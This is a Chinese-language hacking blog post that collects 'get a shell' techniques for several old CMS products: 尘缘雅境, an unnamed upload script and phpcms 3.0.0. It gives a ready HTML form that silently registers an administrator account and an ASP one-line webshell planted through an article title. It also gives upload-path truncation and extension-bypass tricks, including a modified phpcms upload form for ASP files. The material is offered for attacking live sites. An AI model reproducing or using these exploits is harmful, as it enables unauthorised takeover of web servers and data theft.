作者:st0p
转载请注明出处:http://www.st0p.org

其实尘缘雅境图文系统和我上次发的沸腾新闻系统是同一群人开发的,所以漏洞基本相同。。。

如何得到用户名和密码?
1、默认数据库路径没改,直接下载,得到用户名和密码,机会很小。
2、通过注入得到用户名和密码hash,破解hash还原密码,如果实在无法还原的情况下,你可以参考我的上篇文章(沸腾新闻系统 v0.45 拿 SHELL:http://www.st0p.org/blog/archives/boiling-news-system-v0-45-take-shell.html)的方法进行COOKIE欺骗。
3、直接注册用户为管理员,如果开放了注册的话,把下面代码保存为admin.htm,然后把action中的网址改成你对应的目标站就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title></title>
<meta name="author" content="st0p,st0p.org">
</head>
 
<body topmargin="0">
<form align="center" method="post" name="FrmAddLink" action="http://www.st0p.org/admin/saveuser.asp">
      <div align="center">
            <input name="username" value="st0p" type="hidden">
            <input name="passwd" value="st0p.org" type="hidden">
            <input name="passwd2" value="st0p.org" type="hidden">
            <input name="question" value="st0p.org" type="hidden">           
            <input name="answer" value="st0p.org" type="hidden">
	    <input name="fullname" value="st0p.org" type="hidden">
	    <input name="depid" value="1" type="hidden">
            <input name="sex" value="先生" type="hidden">
            <input name="birthyear" value="1950" type="hidden">
            <input name="birthmonth" value="1" type="hidden">
            <input name="birthday" value="1" type="hidden">
            <input name="tel" value="1234567" type="hidden">
            <input name="email" value="webmaster@google.com" type="hidden">
            <input name="photo" value="" type="hidden">
            <input name="purview" type="hidden" value="99999">
            <input name="oskey" type="hidden" value="super">
            <input name="reglevel" type="hidden" value="1">
            <input name="jingyong" type="hidden" value="0">
            <input type="submit" value="添加管理员" name="cmdOk" class="buttonface" style="font-family: 宋体; font-size: 9pt;">
            </p>
      </div>
    </form>
</body>
</html>

添加成功后,我们直接用帐号:st0p 密码:st0p.org登陆后台就可以了。

当然不只以上的方法拿到管理员的信息,由于我们讨论的是拿SHELL的思路,所以如何得到管理员信息这里我们不多做研究。

如何拿到SHELL?
1、通过远程保存文件,当然这种情况适用于利用iis6,是利用iis6的一个BUG来实现的,具体你可以参考我的上篇文章(沸腾新闻系统 v0.45 拿 SHELL:http://www.st0p.org/blog/archives/boiling-news-system-v0-45-take-shell.html)中的方法拿SHELL
2、登陆后台发一篇文章,标题我们使用

1
<%execute request("st0p")%>

内容随意写,发表成功后,我们访问http://www.st0p.org/admin/createasp.asp,会提示首页调用ASP已经更新!这样我们就得到了了一句话的马了。。
地址为:http://www.st0p.org/lastnewsxp.asp,密码为st0p
3、还有一种是通过进入后台,在系统管理-->网站属性-->上传类型中添加脚本的类型的方法,本来我们应该可以添加如asp,php,aspx,cer,asa等等类型的,然后发表文章的时候直接上传脚本来实现的。不过程序中由于以下代码过滤了asp,aspx,asa,所以只有当支持CER,PHP或别的脚本类型时可以上传成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
        fileExt=lcase(file.FileExt)
		Forumupload=split(UpFileType,"|")
		for i=0 to ubound(Forumupload)
			if fileEXT=trim(Forumupload(i)) then
				EnableUpload=true
				exit for
			end if
		next
		if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
			EnableUpload=false
		end if
		if EnableUpload=false then
			msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType
			founderr=true
		end if

4、利用后台头像上传漏洞,通过NC截取来实现上传SHELL的目的。由于uploadfaceok.asp文件中可以自定义上传路径filepath参数,我们可以通过抓包修改filepath参数,实现截断文件名拿到SHELL,具体利用方法就不在这里发了,大家可以BAIDU一下关于NC上传的知识。重要部分的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
......
 formPath=upload.form("filepath")
 if right(formPath,1)<>"/" then formPath=formPath&"/" 
......
 fileExt=lcase(getFileExtName(file.fileName))
 
 if fileext<>"jpg" and fileext<>"png" and fileext<>"gif" and fileext<>"bmp" then
 	response.write "<span style=""font-family: 宋体; font-size: 9pt"">该文件格式不允许上传 [ <a href=# onclick=history.go(-1)>重新上传</a> ]</span>"
'检测了上传文件名的后缀,但没有检测上传路径是否非法
	response.end
 end if
 
randomize
rannum=int(90000*rnd)+10000
filename=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&rannum&"."&fileExt
 if file.FileSize>0 then         ''如果 FileSize > 0 说明有文件数据
  file.SaveAs Server.mappath(formPath &filename)   '没有过滤就直接带入了formPath
response.write "<script>parent.document.FrmAddLink.photo.value='uploadfile/face/"&FileName&"'</script>"
 end if
......

先总结到这吧,当然应该还有一些别的地方可以利用。但st0p没时间写了,还有事要做。。有空在接着添加吧。。

1,upload/upload_image.asp、Mutiupload_image.asp。从cookie中取得userid,放在session中,作为path。
ASP/Visual Basic代码

1. loadsrc="/UploadFile/"&Request.Cookies("UserID")&"/" '如果网站不是放在跟目录下,请在/UploadFile前加上你存放的目录名,如放在wodig文件夹,就在前面加上/wodig 注意最前面要有/
2. Session("uppath")=loadsrc

2,upload/upfile_image.asp、mutiUpfile_image.asp上传文件取得session中的path,作为路径上传文件。
ASP/Visual Basic代码

1. filepath = Session("uppath") '属性,上传前文件所在的路径
还好j8hacker服务器做过可写目录不可执行配置,逃过一劫,上传的shell没有被执行,没有变成黑客留言本。

后来搜索这个漏洞,好像没有被人爆过,那也许就是0day了。。。

在官方下了最新版本,果然同样存在该漏洞。并且2个上传文件均采用这种方式(都有漏洞)。

游戏进行到此目前已经爆了2个0day,都是直接拿shell的。

漏洞详细利用方式如下:

----------------------------------------------------------

来到

http://www.hack-game.cn/upload/upload_image.asp?formname=form&ImgSrc=src_img_2&editname=src_img

页面,修改cookie中的UserId字段值为kxlzx.asp

刷新该页面(一定要刷一下,为了让userid写入session)

上传shell,shell要改名为gif文件。

上传后,看源文件,发现路径为

uploadfile/kxlzx.asp/sXXXXXXXXXXX.gif

转自:http://www.inbreak.net/show-138-1.html

phpcms 3.0.0文件上传漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
漏洞文件: ads/upload.php、uppic.php 代码如下: 
require "common.php";
require PHPCMS_ROOT."/class/upload.php";
if(!$_userid) message("请您先登录或注册!" , PHPCMS_PATH."member/login.php");
if($extid==1) {
$upfile_type= "jpg|png|gif";
} elseif ($extid==2) {
$upfile_type= "swf";
}
if($action=='upload')
{
$fileArr = array(
'file'=>$uploadfile,
'name'=>$uploadfile_name,
'size'=>$uploadfile_size,
'type'=>$uploadfile_type
);
$showname= $fileArr['name'];
$tmpext=strtolower(fileext($showname));
$tmpfilesize=$fileArr['size'];
$savepath = 'ads/'.$upfile_dir.'/'.date('Ym');
$f->create(PHPCMS_ROOT."/".$savepath);
$up = new upload($fileArr,'',$savepath,$upfile_type,1,$upfile_size);
    ........... 
 
//很显然,upfile_type变量过滤不够严格,可以自定义上传类型,实践得知可以上传除*.php和*.php3的其它任意后缀的文件, 因为PHPCMS_ROOT."/class/upload.php"这个文件经过Zend加密,所以无法直接分析。
 
if(!$_userid) message("请您先登录或注册!" , PHPCMS_PATH."member/login.php");

$_userid是靠session获取的,所以注册个用户,登录后,开始利用漏洞,修改后的上传页面如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>上传</title>
<meta name="keywords" content="">
<meta name="description" content="">
<meta name="generator" content="Phpcms ">
<link href="/templates/default/skins/default/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<script language="javascript" type="text/javascript">
<!--
function checkform()
{
if(document.getElementById("uploadfile").value=='') { alert("请选择要上传的文件!"); return false;}
}
//-->
</script>
<table cellpadding="0" cellspacing="0" border="0" width="100%" height="5">
<tr>
    <td ></td>
</tr>
</table>
<form name="upload" method="post"
action="http://www.phpcms.cn/ads/upload.php?action=upload&url=&upfile_type=asp" enctype="multipart/form-data" onSubmit="return checkform();">
<table cellpadding="2" cellspacing="1" class="tableborder">
<tr>
<th>文件上传</th>
</tr>
<tr>
<td class="tablerow" height="30">
选择:<input name="uploadfile" type="file" id="uploadfile" size="20" />
<input type="hidden" name="MAX_FILE_SIZE" value="" />
<input type="hidden" name="channelid" value="0" />
<input type="submit" name="submit" value=" 上传 ">
</td>
</tr>
</table>
</form>
</body>
</html>
 
现在可以上传asp文件了,用登录后的窗口打开这个文件(保存session),上传的文件名后缀跟form表单里action属性的upfile_type变量是一样的,上传后返回页面源代码如下: 
 
<script>
    var ctl_hurl=window.opener.document.getElementById("");
    var ctl_upbutten=window.opener.document.getElementById("upload");
ctl_hurl.value="ads/uploadfile/200612/20061206054522605.asp";
ctl_hurl.style.background="white";
self.close();
</script>

还有uppic.php也有同样漏洞,漏洞代码如下

1
2
3
4
include PHPCMS_ROOT."/class/upload.php";
$fileArr = array('file'=>$uploadfile,'name'=>$uploadfile_name,'size'=>$uploadfile_size,'type'=>$uploadfile_type);
$uploadfiletype = $uploadfiletype ? $uploadfiletype : $_PHPCMS['uploadfiletype'];
$savepath = $uploaddir ? $channeldir."/".$uploaddir."/".date("Ym")."/" : $_PHPCMS['uploaddir']."/".date("Ym")."/";

嘎嘎,晓鹏也是搞一个站的时候现用到网上找的漏洞,顺便记录一下,不过不巧的是上面的利用方法被补掉了,然后俺就通过了另一种方法实现了,虽然方法不同,但跟上面的漏洞关系还是蛮大的哇。暂时俺就不公告了,有兴趣的朋友可以留言和我讨论。

虽然是老洞了,不过有时还是能用到的,结合新的漏洞可能会出现意想不到的效果哦。